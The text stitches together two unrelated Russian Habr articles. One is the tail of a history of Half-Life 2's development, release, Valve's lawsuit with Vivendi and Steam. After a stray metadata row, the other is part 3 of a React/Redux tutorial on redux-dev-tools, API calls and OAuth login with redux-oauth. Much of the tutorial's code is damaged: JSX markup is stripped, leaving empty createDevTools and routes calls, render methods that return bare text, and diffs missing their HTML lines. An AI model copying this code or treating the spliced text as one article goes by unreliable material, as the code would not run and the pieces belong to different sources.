Был созван Cabal Cabal, «кабальный совет кабальных советов». В него вошел представитель каждой из трёх команд (художники, сюжетники, звук) и трёх «кабальных» советов. Одну неделю проходили ежедневные встречи для командного плейтеста и критики. Так глава за главой была разобрана вся игра. Результатом стали отзывы для каждой из команд. Как учитывать эту информацию, решал отвечающий за главу «кабальный» совет.
Критике подвергались слабые моменты: они вызывали раздражение, путали, были слишком жёсткими или вообще изнуряли. Часть подобных фрагментов было слишком сложно исправить, и они погибли в последнем проходе удаления контента. Такие ампутации шли не без боли — на тот момент команды уже долго работали над игрой.
Последовали второй проход и дальнейшие улучшения. В целом, как обнаружила разработка, решения в конце всегда лучше тех, что в начале. К примеру, уровни в Цитадели начали создавать за шесть недель до альфа-версии, а идей основного игрового элемента не было. Но прототипы всех уровней в Цитадели появились всего за день, а первый проход был завершён уже через три недели. На этот момент в Valve сформировали хорошее понимание, какие механики работают лучше всего, поэтому финальную главу Фримен заканчивает с гравипушкой.
Итак, к концу июля игра была почти готова. Основные цели следующих недель: исправления системы физики, устранение багов и незначительные улучшения уровней.
Релиз
=====
В сентябре 2004 года в Valve сформировался Клуб Ноль. Попасть в него нелегко, вылететь — элементарно. Входящего в клуб приветствуют, покидающего — освистывают. Разработчик оказываются в Клубе, если его баги исправлены. Если находятся новые, он вновь принимается за работу.
[](https://habrastorage.org/files/717/fe0/996/717fe09966574618a7c113c185e7e527.jpg)
*Отслеживание багов главы на побережье.*
Первый кандидат на релиз ушёл издателю, Vivendi, 15 сентября 2004 года, но вернулся на доработку. 30 сентября, спустя год первой сорванной даты, разработка всё ещё идёт. Кончаются баги, а в фойе Valve уже висит сканер из папье-маше. День уничтожения этой пиньяты всё ближе.
Вечером 13 октября готова финальная версия. После тщательных тестов Valve и Vivendi уверены, что с багами покончено. В Клубе Ноль находятся все программисты. Сотрудникам компании разосланы письма с сообщением о завершении разработки. В полдень 14 октября Ньюэлл стоит в угрожающей позе в фойе, постукивая дубинкой в левой руке по ладони правой.
[](https://habrastorage.org/files/e03/f8f/143/e03f8f143c074a639dbc35066e18410e.jpg)
*Гейб изучает ущерб от первого удара по пиньяте.*
Опасения внушала лишь мелкая деталь. После пяти с лишним лет разработки стоимостью в сорок миллионов, взлома корпоративной сети и утечки исходных кодов, сорванных сроков и полного спектра эмоций поклонников — от радости до отвращения — факт действительно незначительный. Студия Valve судилась с собственным издателем.
Vivendi и её дочка Sierra издают игры по Sierra On-Line. Новая разработка Valve — клиент Steam — угрожала азиатскому рынку, где в силу сложностей с доступом в Сеть были сильны интернет-кафе. Vivendi утверждала, что контракт с Valve касается в том числе интернет-кафе.
Семь адвокатов от Valve и миллионы, потраченные на защиту, сыграли своё дело: 29 ноября суд не согласился с утверждением Vivendi и встал на сторону Valve. А 29 апреля 2005 года Valve вообще расстанется с Sierra. Вскоре, 18 июля, о договорённости издавать физические копии игр Valve объявила Electronic Arts.
Ближе к релизу игры Vivendi угрожала задержать выход Half-Life 2 на полгода, но этого не случилось. 16 ноября 2004 года Half-Life 2 поступает в продажу и уже работающий на тот момент Steam.
Сегодня подзабылся успех второй игры про Гордона Фримена. Критики и игровые издания выдали Half-Life 2 высшие оценки. HL2 [заработала](http://www.valvesoftware.com/awards.html) 39 наград «игра года». В издании 2008 года «Книги рекордов Гиннеса» Half-Life 2 занимает позицию самого высокооцениваемого игровой прессой шутера. На агрегаторе отзывов Metacritic среди всех игр Half-Life 2 [сидит](http://www.metacritic.com/browse/games/score/metascore/all/pc?sort=desc) на первой строчке по рейтингу с результатом 96 %. К 2011 году было продано более 12 миллионов копий Half-Life.
Эпизоды
=======
Гейб оценил масштаб ущерба длительных периодов аврального режима работы. Эмоциональная перегрузка и жёсткие сроки — это быстрый путь к выгоранию. Члены команды могут легко потерять интерес к процессу и их производительность труда упадёт до нуля. На момент релиза Half-Life 2 Ньюэлл говорил, что хотел бы работать в более спокойном темпе, отдельными эпизодами.
1 июня 2006 года выходит продолжение серии, Half-Life 2: Episode One. В дополнение к развитию сюжетной линии и обновлённым графическим возможностям движка геймплей делает ещё более сильный упор на эмоции персонажей. Упор настолько сильный, что это уже не игра в одиночку. Фактически, все пять глав игрок проводит с Аликс Вэнс. Изменилась система ИИ: она комментирует действия игрока, предметы, которые он поднимает, даёт советы и хвалит его действия. При этом игре удаётся не перегружать постоянным давлением реплик. Аликс как персонаж живёт и испытывает эмоции.
10 октября 2007 года выходит Half-Life 2: Episode Two. Серия Half-Life всегда была коридорным шутером, но здесь коридор неплохо расширили. Гордон и Аликс путешествуют в крупных локациях. Упор на эмоции персонажей доведён до финальной сцены и открытой для продолжения концовки. Но всё равно, это игра на примерно том же движке, что и Half-Life 2. Местами эпизоды — это вырезанные из оригинальной игры идеи.
На этом новые игры серии перестали выходить. 24 мая 2006 года Valve [объявила](http://web.archive.org/web/20110805064750/http://www.gamespot.com/pc/action/halflife2episode2ob/news/6151796/half-life-2-episode-one-gold-two-dated-three-announced) о планах выпуска третьего эпизода и предварительную дату выхода — Рождество 2007 года. С момента первого анонса прошло более 10 лет, но игра так и не вышла. За 10 лет действующие и бывшие сотрудники Valve несколько раз касались темы окончания своей первой игры. Но никогда не звучало конкретного обещания выпустить окончание серии или хотя бы сюжетной арки.
---
Valve продолжала создавать уникальные игровые механики. За Portal в 2007 году последовал Portal 2 в 2011. Обе игры заставляли игрока проходить череду комнат-загадок с помощью портальной пушки. В нескольких фрагментах Portal 2 даны отсылки на вселенную Half-Life — связь, которую сложно осмыслить.
Portal 2 стала последней однопользовательской игрой Valve. Даже в Portal 2 половина контента — это кооперативный режим. Играть в него нужно вдвоём. Day of Defeat: Source, Team Fortress 2, Counter Strike: Source и Global Offensive, Dota 2, Left 4 Dead и её сиквел — для всех этих игр нужно сетевое подключение. Есть какие-то замены для тренировки или игры в одиночку, но желательно играть с людьми. Сценарист Half-Life Марк Лэйдлоу [ушёл](http://www.gamasutra.com/view/news/263256/HalfLife_writer_Marc_Laidlaw_leaves_Valve_after_18_years.php) из Valve в 2016 году. Возможно, Valve просто не хочет выпускать игры на одного игрока?
[](https://habrastorage.org/files/d4a/c46/90b/d4ac4690b34142daaf35e0f65ef57ab5.jpg)
С другой стороны, затея Steam сработала. Сегодня это система дистрибуции тысяч игр. Даже стандарт — мысль качать сторонний клиент какого-нибудь Origin вызывает отвращение. Постоянные скидки, развитое сообщество, и, что важно, возможность создавать контент. Valve поощряет игроков добавлять шляпы и прочие косметические предметы в свои мультиплеерные хиты: компания делится частью доходов от их продажи.
Бывший работник Microsoft хотел создать видеоигру, а получилась среда для запуска новых приложений. Его студия с первых лет существования выпускала инструменты для редактирования и создания игровых модификаций. После объявления свободных условий лицензирования Unreal Engine 4 и Unity вопрос об отчислениях от движка Source 2 не вызывал вопросов — было ясно, что Valve сделает его бесплатным.
По сути, Half-Life была высокотехнологичной демонстрацией того, какой шедевр можно создать на GoldSrc. Half-Life 2 — это шедевральная демка движка Source. Вероятно, Half-Life 3 потребуется ещё более технологически сильная платформа, чтобы оправдать своё существование. Ничего иного, кроме как шедевра, от игры не ждут.
Дело даже не в слегка запутавшейся сюжетной линии или многократно завышенных ожиданиях аудитории. Какую новую киллер-фичу должна дать Half-Life 3 индустрии? За двенадцать лет геймдев ушёл далеко вперёд, вышли сотни шутеров от первого лица. Что можно дать однопользовательским шутерам, чего никто раньше не делал? Похоже, ответа на этот вопрос у Valve пока нет.
По материалам [Gamasutra](http://www.gamasutra.com/view/news/259479/Classic_Postmortem_The_making_of_HalfLife_2.php), [Gamespot](http://web.archive.org/web/20041118054430/http://www.gamespot.com/features/6112889/index.html) и книги «Half-Life 2: Raising the Bar». | https://habr.com/ru/post/372747/ | null | ru | null |
# React.js: собираем с нуля изоморфное / универсальное приложение. Часть 3: добавляем авторизацию и обмен данными с API
*Пожалуйста, авторизуйтесь*
Это третья и заключительная часть статьи про разработку изоморфного React.js приложения с нуля. Части [первая](https://habrahabr.ru/post/309958/) и [вторая](https://habrahabr.ru/post/310284/).
В этой части мы:
* добавим *redux-dev-tools*;
* добавим запросы к API;
* реализуем авторизацию;
* реализуем выполнение запросов к API в процессе *Server-Side Rendering*.
1. Добавляем *redux-dev-tools*
==============================
Это очень удобная библиотека, упрощающая процесс разработки. С ее помощью вы сможете в режиме реального времени видеть содержимое глобального состояния, а также его изменения. Дополнительно *redux-dev-tools* позволяет "откатывать" последние изменения глобального состояния, что удобно в процессе тестирования и отладки. Нам же она добавит наглядности и сделает процесс обучения более интерактивным и прозрачным.
### 1.1. Устанавливаем необходимые пакеты
```
npm i --save-dev redux-devtools redux-devtools-log-monitor redux-devtools-dock-monitor
```
### 1.2. Реализуем компонент, отвечающий за рендеринг панели *redux-dev-tools*
#### src/components/DevTools/DevTools.jsx
```
import React from 'react';
import { createDevTools } from 'redux-devtools';
import LogMonitor from 'redux-devtools-log-monitor';
import DockMonitor from 'redux-devtools-dock-monitor';
export default createDevTools(
);
```
#### src/components/DevTools/index.js
```
import DevTools from './DevTools';
export default DevTools;
```
### 1.3. "Причешем" *rootReducer*
Во второй части мы поместили создание корневого редьюсера в *configureStore*, что не совсем правильно, так как это не его зона ответственности. Сделаем небольшой рефакторинг и перенесем его в *redux/reducers/index.js*.
#### redux/reducers/index.js
```
import { combineReducers } from 'redux';
import counterReducer from './counterReducer';
export default combineReducers({
counter: counterReducer
});
```
Из документации *redux-dev-tools* следует, что нам необходимо внести изменения в *configureStore*. Вспомним, что инструменты *redux-dev-tools* нам нужны только для разработки, поэтому повторим маневр, описанный ранее:
1. переименуем *configureStore.js* в *configureStore.prod.js*;
2. реализуем *configureStore.dev.js*;
3. реализуем *configureStore.js*, который в зависимости от системного ландшафта использует либо *configureStore.prod.js*, либо *configureStore.dev.js*.
```
mv redux/configureStore.js redux/configureStore.prod.js
```
#### src/redux/configureStore.prod.js
```
import { applyMiddleware, createStore } from 'redux';
import thunk from 'redux-thunk';
import rootReducer from './reducers';
export default function (initialState = {}) {
return createStore(rootReducer, initialState, applyMiddleware(thunk));
}
```
Реализация *configureStore.dev.js* с *DevTools* и поддержкой [*hot-reload*](https://facebook.github.io/react-native/blog/2016/03/24/introducing-hot-reloading.html).
#### src/redux/configureStore.dev.js
```
import { applyMiddleware, createStore, compose } from 'redux';
import thunk from 'redux-thunk';
import DevTools from 'components/DevTools';
import rootReducer from './reducers';
export default function (initialState = {}) {
const store = createStore(rootReducer, initialState, compose(
applyMiddleware(thunk),
DevTools.instrument()
)
);
if (module.hot) {
module.hot.accept('./reducers', () =>
store.replaceReducer(require('./reducers').default)
);
}
return store;
}
```
Точка входа *configureStore*
#### src/redux/configureStore.js
```
if (process.env.NODE_ENV === 'production') {
module.exports = require('./configureStore.prod');
} else {
module.exports = require('./configureStore.dev');
}
```
Все готово! Перезапускаем *webpack-dev-server* и *nodemon*, открываем браузер и видим, что справа появилась панель, которая отражает содержимое глобального состояния. Теперь откроем страницу со счетчиками и понажимаем на *ReduxCounter*. Одновременно с каждым кликом мы видим, как в очередь *redux* поступают действия и глобальное состояние изменяется. Нажав на *Revert*, мы сможем отменить последнее действие, а нажав на *Commit* — утвердить все действия и очистить текущую очередь команд.
*Примечание:* после добавления *redux-dev-tools*, возможно, вы увидите сообщение в консоли: *"React attempted to reuse markup in a container but the checksum was invalid..."*. Это означает, что серверная и клиентская часть приложения рендерят неодинаковый контент. Это очень плохо, и в своих приложениях таких ситуаций следует избегать. Однако, в данном случае виновником является *redux-dev-tools*, который мы все равно в продуктиве использовать не будем, поэтому можно сделать исключение и спокойно проигнорировать сообщение о проблеме.
*Update: спасибо пользователям [gialdeyn](https://github.com/gialdeyn) и [Lerayne](https://habrahabr.ru/users/lerayne/), починить SSR с redux-dev-tools можно следующим способом*
#### src/server.js
```
${componentHTML}
+++
```
#### src/client.js
```
+++ import DevTools from './components/DevTools';
...
ReactDOM.render(component, document.getElementById('react-view'));
+++ ReactDOM.render(, document.getElementById('dev-tools'));
```
2. Добавляем новую функциональность
===================================
Реализуем следующий сценарий
1. Пользователь нажимает на кнопку "Запросить время".
2. Показываем индикатор загрузки, кнопка становится неактивной, чтобы избежать нежелательных повторных запросов.
3. Приложение делает запрос к API.
4. Приложение получает ответ от API и сохраняет полученные данные в глобальное состояние.
5. Индикатор загрузки исчезает, кнопка снова становится активной; отображаем пользователю полученные данные.
Это достаточно объемная задача. Чтобы сфокусироваться на отдельных ее частях, сначала реализуем пункты 1,2 и 5, а для 3 и 4 сделаем заглушку.
2.1. Добавляем действия
-----------------------
После клика по кнопке "Запросить время" мы должны последовательно:
1. изменить значение *loading* с *false* на *true*;
2. сделать запрос;
3. получив ответ, вернуть значение *loading* с *true* на *false* обратно и сохранить либо полученные данные, либо информацию об ошибках.
```
export const TIME_REQUEST_STARTED = 'TIME_REQUEST_STARTED';
export const TIME_REQUEST_FINISHED = 'TIME_REQUEST_FINISHED';
export const TIME_REQUEST_ERROR = 'TIME_REQUEST_ERROR';
function timeRequestStarted() {
return { type: TIME_REQUEST_STARTED };
}
function timeRequestFinished(time) {
return { type: TIME_REQUEST_FINISHED, time };
}
function timeRequestError(errors) {
return { type: TIME_REQUEST_ERROR, errors };
}
export function timeRequest() {
return (dispatch) => {
dispatch(timeRequestStarted());
return setTimeout(() => dispatch(timeRequestFinished(Date.now())), 1000); // Изображаем network latency :)
};
}
```
Здесь каждое действие мы оформляем в виде небольшой функции, которая будет изменять глобальное состояние, а *timeRequest* — комбинация этих функций, которая целиком описывает наш сценарий. Именно ее мы и будем вызывать из нашего компонента.
2.2. Обновляем код страницы со временем
---------------------------------------
Добавим кнопку *react-bootstrap-button-loader* с поддержкой индикатора загрузки на страницу *TimePage* и научим ее вызывать функцию *timeRequest* по клику.
### Устанавливаем пакет *react-bootstrap-button-loader*
```
npm i --save react-bootstrap-button-loader
```
### Добавляем кнопку и обработчик кликов
#### src/components/TimePage/TimePage.jsx
```
import React, { Component, PropTypes } from 'react';
import { connect } from 'react-redux';
import PageHeader from 'react-bootstrap/lib/PageHeader';
import Button from 'react-bootstrap-button-loader';
import { timeRequest } from 'redux/actions/timeActions';
const propTypes = {
dispatch: PropTypes.func.isRequired
};
class TimePage extends Component {
constructor() {
super();
this.handleClick = this.handleClick.bind(this);
}
handleClick() {
this.props.dispatch(timeRequest());
}
render() {
return (
Timestamp
Запросить!
);
}
}
TimePage.propTypes = propTypes;
export default connect()(TimePage);
```
Заметим, что нам пришлось использовать *connect* из *react-redux*, чтобы у нашей кнопки был доступ к функции *dispatch* для изменения глобального состояния.
Самое время посмотреть на результаты трудов: откроем страницу "Время" в браузере, нажмем на кнопку "Запросить". Интерфейс пока еще ничего не делает, но в *redux-dev-tools* мы теперь видим, как запускаются *actions*, которые мы совсем недавно реализовали.
Настало время оживить интерфейс. Начнем с реализации логики для обновления глобального состояния
2.3. Реализуем редьюсер
-----------------------
#### src/redux/reducers/timeReducer.js
```
import { TIME_REQUEST_STARTED, TIME_REQUEST_FINISHED, TIME_REQUEST_ERROR } from 'redux/actions/timeActions';
const initialState = {
time: null,
errors: null,
loading: false
};
export default function (state = initialState, action) {
switch (action.type) {
case TIME_REQUEST_STARTED:
return Object.assign({}, state, { loading: true, errors: null });
case TIME_REQUEST_FINISHED:
return {
loading: false,
errors: null,
time: action.time
};
case TIME_REQUEST_ERROR:
return Object.assign({}, state, { loading: false, errors: action.errors });
default:
return state;
}
}
```
Важный момент, о котором нельзя забывать: по спецификации *redux* мы не имеем права изменять переданное нам состояние и обязаны возвращать либо его же, либо новый объект. Для формирования нового объекта я использую *Object.assign*, который берет исходный объект и применяет к нему нужные мне изменения.
Хорошо, теперь добавим новый редьюсер в корневой редьюсер.
#### src/redux/reducers/index.js
```
+++ import timeReducer from './timeReducer';
export default combineReducers({
counter: counterReducer,
+++ time: timeReducer
});
```
Снова откроем браузер и, предварительно очистив очередь *redux-dev-tools*, покликаем по кнопке "Запросить". Интерфейс все еще не обновляется, но теперь наши *actions* изменяют глобальное состояние согласно коду нашего редьюсера, а это значит, что "под капотом" вся логика работает как надо. Дело за малым — "оживим" интерфейс.
2.4. Обновляем код страницы "Время"
-----------------------------------
#### src/components/TimePage/TimePage.jsx
```
const propTypes = {
dispatch: PropTypes.func.isRequired,
+++ loading: PropTypes.bool.isRequired,
+++ time: PropTypes.any
};
class TimePage extends Component {
...
render() {
+++ const { loading, time } = this.props;
...
--- Запросить!
+++ Запросить!
+++ {time && Time: {time}}
```
);
}
}
+++ function mapStateToProps(state) {
+++ const { loading, time } = state.time;
+++ return { loading, time };
+++ }
--- export default connect()(TimePage);
+++ export default connect(mapStateToProps)(TimePage);
Переходим в браузер, снова нажимаем на кнопку "Запросить" и убеждаемся, что все работает согласно нашему сценарию.
Настало время заменить заглушку на настощий *backend*.
3. Добавляем взаимодействие с *backend* и авторизацию
=====================================================
*Примечание:* для этого примера я использую очень простой *backend*, разработанный мной на *rails*. Он доступен по ссылке *<https://redux-oauth-backend.herokuapp.com>* и содержит только один метод */test/test*, возвращающий серверный *timestamp*, если пользователь авторизован, иначе — 401 ошибку. Исходный код *backend*'а можно найти тут: [<https://github.com/yury-dymov/redux-oauth-backend-demo>](https://github.com/yury-dymov/redux-oauth-backend-demo). Там я использую *gem devise* для авторизации, который де-факто является стандартом для решения подобных задач для *rails* и *gem devise\_token\_auth*, добавляющий *devise* механизм авторизации *Bearer Token-based Authentication*. В наши дни этот механизм чаще всего используется при разработке защищенных API.
Со стороны клиентской части нам многое предстоит сделать:
1. С предыдущей статьи у меня остался небольшой долг: глобальное состояние после *Server Side Rendering* не передается и не используется клиентом. Мы сейчас это исправим.
2. Добавим в проект библиотеку *redux-oauth*, которая отвечает за авторизацию со стороны *frontend*, и настроим ее для изоморфного сценария.
3. Заменим заглушку на код, который будет в действительности выполнять запросы к API.
4. Добавим кнопки "Войти в систему" и "Выйти из системы".
3.1. Передаем глобальное состояние
----------------------------------
Механизм очень простой:
1. После того, как сервер выполнил всю работу и сформировал контент для клиента, мы вызываем функцию *getState*, которая возвращает актуальное глобальное состояние. Далее мы передаем контент и глобальное состояние в наш HTML-шаблон и отдаем полученную страницу клиенту.
2. Клиентский *JavaScript* считывает глобальное состояние прямо из глобального объекта *window* и передает его в *configureStore* в качестве *initialState*.
#### src/server.js
```
+++ const state = store.getState();
--- return res.end(renderHTML(componentHTML));
+++ return res.end(renderHTML(componentHTML, state));
...
--- function renderHTML(componentHTML, initialState) {
+++ function renderHTML(componentHTML, initialState) {
+++
+++ window.REDUX\_INITIAL\_STATE = ${JSON.stringify(initialState)};
+++
```
#### src/client.js
```
+++ const initialState = window.REDUX_INITIAL_STATE || {};
--- const store = configureStore();
+++ const store = configureStore(initialState);
```
Как видно из кода, глобальное состояние я передаю в переменной REDUX\_INITIAL\_STATE.
3.2. Добавляем авторизацию
--------------------------
Устанавливаем *redux-oauth*
*Примечание:* мы используем *redux-oauth* для изоморфного сценария, но она также поддерживает и *client-side only*. Примеры конфигурации для различных случаев и демо можно найти на [сайте библиотеки](https://github.com/yury-dymov/redux-oauth).
*Примечание 2:* *redux-oauth* использует cookie для авторизации, так как механизм *local storage* не подходит для изоморфного сценария.
```
npm i --save redux-oauth cookie-parser
```
Активируем плагин *cookieParser* для *express*
#### src/server.js
```
+++ import cookieParser from 'cookie-parser';
const app = express();
+++ app.use(cookieParser());
```
Настраиваем *redux-oauth* для серверной части приложения
#### src/server.js
```
+++ import { getHeaders, initialize } from 'redux-oauth';
app.use((req, res) => {
const store = configureStore();
+++ store.dispatch(initialize({
+++ backend: {
+++ apiUrl: 'https://redux-oauth-backend.herokuapp.com',
+++ authProviderPaths: {
+++ github: '/auth/github'
+++ },
+++ signOutPath: null
+++ },
+++ currentLocation: req.url,
+++ cookies: req.cookies
})).then(() => match({ routes, location: req.url }, (error, redirectLocation, renderProps) => {
...
const state = store.getState();
+++ res.cookie('authHeaders', JSON.stringify(getHeaders(state)), { maxAge: Date.now() + 14 * 24 * 3600 * 1000 });
return res.end(renderHTML(componentHTML, state));
}));
```
Здесь происходит много интересного:
1. Мы должны вызвать функцию *initialize* из *redux-oauth*, которой передадим текущий *URL*, *cookies* и конфигурацию: адрес API и используемые *OAuth*-провайдеры.
2. Если в переданных *cookie* будет найден авторизационный *token*, то библиотека проверит его валидность у *backend* и в случае успеха сохранит информацию о пользователе в глобальном состоянии. Обратите внимание, что дальнейший код приложения выполнится только после того, как отработает *initialize*.
3. Перед тем, как отправить HTML клиенту, мы используем метод *res.cookie*. Этот метод сообщает *express*, что к HTTP-ответу необходимо добавить заголовок *SetCookie*, в котором нужно передать обновленный авторизационный токен. Это очень важный шаг: новый авторизационный токен сохранится в *cookie* браузера сразу же после того, как он получит ответ от сервера. Тем самым мы гарантируем, что авторизация не сломается даже в случаях, когда клиентский *JavaScript* не успел скачаться, инициализироваться или выполнился с ошибкой.
Согласно документации, нам также необходимо добавить редьюсер *redux-oauth* в корневой редьюсер.
#### src/redux/reducers/index.js
```
+++ import { authStateReducer } from 'redux-oauth';
export default combineReducers({
+++ auth: authStateReducer,
```
3.3. Заменяем заглушку в *timeActions.js*
-----------------------------------------
#### src/redux/actions/timeActions.js
```
import { fetch, parseResponse } from 'redux-oauth';
export function timeRequest() {
return (dispatch) => {
dispatch(timeRequestStarted());
--- return setTimeout(() => dispatch(timeRequestFinished(Date.now())), 1000); // Изображаем network latency :)
+++ return dispatch(fetch('https://redux-oauth-backend.herokuapp.com/test/test'))
+++ .then(parseResponse)
+++ .then(({ payload }) => dispatch(timeRequestFinished(payload.time)))
+++ .catch(({ errors }) => dispatch(timeRequestError(errors)));
};
}
```
Функция *fetch* из *redux-oauth* — это расширенная функция из пакета *isomorphic-fetch*. Согласно документации, ее необходимо вызывать через *dispatch*, так как в этом случае у нее будет доступ к глобальному состоянию, из которого она сможет считать авторизационный токен и отправить его вместе с запросом. Если функцию *fetch* использовать для произвольного HTTP-запроса, а не запроса к API, то авторизационный токен использован не будет, то есть алгоритм ее выполнения на 100% совпадет с алгоритмом выполнения *isomorphic-fetch*.
*Примечание:* [*isomorphic-fetch*](https://github.com/matthew-andrews/isomorphic-fetch) — это библиотека, которая умеет делать HTTP-запросы как из браузера, так и из *Node* окружения.
Откроем браузер и еще раз нажмем на кнопку "Запросить" страницы "Время". Что ж, мы больше не видим текущий *timestamp*, зато в *redux-dev-tools* появилась информация о 401 ошибке. Неудивительно, ведь мы должны быть авторизованы, чтобы API нам что-то вернул.
3.4. Добавим кнопки "Войти" и "Выйти"
-------------------------------------
Как правило, авторизованный пользователь имеет больше возможностей по работе с системой, чем гость, иначе какой же смысл в авторизации?
С технической точки зрения это означает, что многие компоненты могут выглядеть и вести себя по-разному в зависимости от того, зашел пользователь в систему или нет.
Я являюсь ярым сторонником принципа *DRY (don't repeat yourself)*, поэтому напишем небольшой хелпер.
#### src/redux/models/user.js
```
export function isUserSignedIn(state) {
return state.auth.getIn(['user', 'isSignedIn']);
}
```
Реализуем кнопку "Войти в систему"
#### src/components/AuthButtons/OAuthButton.jsx
```
import React, { Component, PropTypes } from 'react';
import { connect } from 'react-redux';
import { oAuthSignIn } from 'redux-oauth';
import Button from 'react-bootstrap-button-loader';
import { isUserSignedIn } from 'redux/models/user';
const propTypes = {
dispatch: PropTypes.func.isRequired,
loading: PropTypes.bool.isRequired,
provider: PropTypes.string.isRequired,
userSignedIn: PropTypes.bool.isRequired
};
class OAuthButton extends Component {
constructor(props) {
super(props);
this.handleClick = this.handleClick.bind(this);
}
handleClick() {
const { dispatch, provider } = this.props;
dispatch(oAuthSignIn({ provider }));
}
render() {
const { loading, provider, userSignedIn } = this.props;
if (userSignedIn) {
return null;
}
return {provider};
}
}
OAuthButton.propTypes = propTypes;
function mapStateToProps(state, ownProps) {
const loading = state.auth.getIn(['oAuthSignIn', ownProps.provider, 'loading']) || false;
return { userSignedIn: isUserSignedIn(state), loading };
}
export default connect(mapStateToProps)(OAuthButton);
```
Эта кнопка будет отображаться, только если пользователь еще не вошел в систему.
Реализуем кнопку "Выйти из системы"
#### src/components/AuthButtons/SignOutButton.jsx
```
import React, { Component, PropTypes } from 'react';
import { connect } from 'react-redux';
import { signOut } from 'redux-oauth';
import Button from 'react-bootstrap-button-loader';
import { isUserSignedIn } from 'redux/models/user';
const propTypes = {
dispatch: PropTypes.func.isRequired,
userSignedIn: PropTypes.bool.isRequired
};
class SignOutButton extends Component {
constructor(props) {
super(props);
this.handleClick = this.handleClick.bind(this);
}
handleClick() {
const { dispatch } = this.props;
dispatch(signOut());
}
render() {
if (!this.props.userSignedIn) {
return null;
}
return Выйти;
}
}
SignOutButton.propTypes = propTypes;
function mapStateToProps(state) {
return { userSignedIn: isUserSignedIn(state) };
}
export default connect(mapStateToProps)(SignOutButton);
```
Эта кнопка будет отображаться, только если пользователь уже вошел в систему.
#### src/components/AuthButtons/index.js
```
import OAuthButton from './OAuthButton';
import SignOutButton from './SignOutButton';
export { OAuthButton, SignOutButton };
```
Я добавлю авторизацию на страницу *HelloWorldPage*.
#### src/components/HelloWorldPage/HelloWorldPage.jsx
```
+++ import { OAuthButton, SignOutButton } from 'components/AuthButtons';
+++ Авторизация
-----------
+++
+++
```
Настало время насладиться результатами нашего труда. Нажимаем на кнопку "Войти", используем свой github аккаунт для авторизации и… мы в системе! Кнопка "Войти" исчезла, зато появилась кнопка "Выйти". Проверим, что сессия сохраняется, для этого перезагрузим страницу. Кнопка "Выйти" не исчезла, а в *redux-dev-tools* можно найти информацию о пользователе. Отлично! Пока все работает. Переходим на страницу "Время", нажимаем на кнопку "Запросить" и видим, что *timestamp* отобразился — это сервер вернул нам данные.
На этом можно было бы закончить, но нам нужно "отшлифовать" наше приложение.
4. "Шлифуем" приложение
=======================
Итак, что можно улучшить:
1. Ссылки на страницу "Время" должны отображаться только для авторизованных пользователей.
2. Если пользователь ввел адрес защищенной страницы в браузере, мы перенаправим его на страницу с авторизацией (в нашем случае — *HelloWorldPage*).
3. Если пользователь вышел из системы, мы должны удалить из глобального состояния его данные.
4.1. Убираем ссылки к недоступным страницам
-------------------------------------------
#### src/components/App/App.jsx
```
+++ import { connect } from 'react-redux';
+++ import { isUserSignedIn } from 'redux/models/user';
const propTypes = {
+++ userSignedIn: PropTypes.bool.isRequired,
...
};
...
+++ {this.props.userSignedIn && (
Время
+++ )}
...
+++ function mapStateToProps(state) {
+++ return { userSignedIn: isUserSignedIn(state) };
+++ }
--- export default App;
+++ export default connect(mapStateToProps)(App);
```
Открываем браузер и видим, что ссылка на страницу "Время" все еще доступна, переходим на страницу *HelloWorldPage*, нажимаем на кнопку "Выйти" — и ссылка пропала.
4.2. Ограничиваем доступ к защищенным страницам
-----------------------------------------------
Как мы помним, за соответствие между *URL* и страницей, которую нужно отрендерить отвечает библиотека *react-router*, а конфигурация путей находится в файле *routes.jsx*. Нам нужно добавить следующую логику: если пользователь неавторизован и запросил защищенную страницу, то перенаправим его на *HelloWorldPage*.
Для получения информации о пользователе нам необходимо передать в *routes.jsx* ссылку на хранилище глобального состояния.
#### src/server.js
```
--- .then(() => match({ routes, location: req.url }, (error, redirectLocation, renderProps) => {
+++ .then(() => match({ routes: routes(store), location: req.url }, (error, redirectLocation, renderProps) => {
```
#### src/client.js
```
--- {routes}
+++ {routes(store)}
```
#### src/routes.jsx
```
import { isUserSignedIn } from 'redux/models/user';
function requireAuth(nextState, transition, cb) {
setTimeout(() => {
if (!isUserSignedIn(store.getState())) {
transition('/');
}
cb();
}, 0);
}
let store;
export default function routes(storeRef) {
store = storeRef;
return (
);
}
```
Тестируем:
1. Убедимся, что мы залогинены;
2. Введем в адресную строку браузера <http://localhost:3001/time>, нажмем "Enter" и ожидаемо увидим страницу "Время";
3. Выйдем из системы;
4. Еще раз введем в адресную строку браузера <http://localhost:3001/time> и нажмем "Enter" — на этот раз нас перенаправили на страницу *"HelloWorldPage"* — все работает!
*Примечание:* в функции *requireAuth* используется *setTimeout* с нулевой задержкой, что на первый взгляд лишено смысла. Это сделано специально, так как позволяет обойти баг в одном из популярных браузеров.
4.3. Очищаем пользовательские данные из глобального состояния
-------------------------------------------------------------
#### src/redux/reducers/timeReducer.js
```
+++ import { SIGN_OUT } from 'redux-oauth';
+++ case SIGN_OUT:
+++ return initialState;
default:
return state;
```
Если поступит *action SIGN\_OUT*, то все данные редьюсера *timeReducer* будут заменены на *initialState*, то есть на значения по умолчанию. Этот же прием необходимо реализовать для всех других редьюсеров, которые содержат пользовательские данные.
5. Бонус: *Server-Side API Requests*
====================================
Библиотека *redux-oauth* поддерживает *Server Side API requests*, то есть в процессе рендеринга сервер может сам обратиться к API за данными. Это имеет множество преимуществ:
* сервер находится гораздо ближе к API, а значит пользователь получит доступ к контенту быстрее;
* для некачественного мобильного интернета уменьшение количества запросов имеет решающее значение в вопросах производительности из-за большого *latency* каждого запроса;
* поисковики не умеют или плохо умеют *JavaScript*, а значит иначе они не получат доступ к полноценному контенту.
*Примечание*: да, поисковики не будут авторизовываться, но некоторые сервисы API смогут возвращать данные и для неавторизованных пользователей с некоторыми ограничениями. *redux-oauth* подойдет и для таких сценариев.
Реализуем небольшой *Proof of Concept*.
Добавим запрос к API в серверную часть нашего приложения
#### src/server.js
```
+++ import { timeRequest } from './redux/actions/timeActions';
...
return store.dispatch(initialize({
backend: {
apiUrl: 'https://redux-oauth-backend.herokuapp.com',
authProviderPaths: {
github: '/auth/github'
},
signOutPath: null
},
cookies: req.cookies,
currentLocation: req.url,
}))
+++ .then(() => store.dispatch(timeRequest()))
.then(() => match({ routes: routes(store), location: req.url }, (error, redirectLocation, renderProps) => {
```
После того, как функция *initialize* из *redux-oauth* обратится к *backend*, проверит авторизационный токен и получит данные о пользователе, мы выполним запрос *timeRequest* на стороне сервера. После его выполнения мы отрендерим контент и отдадим ответ пользователю.
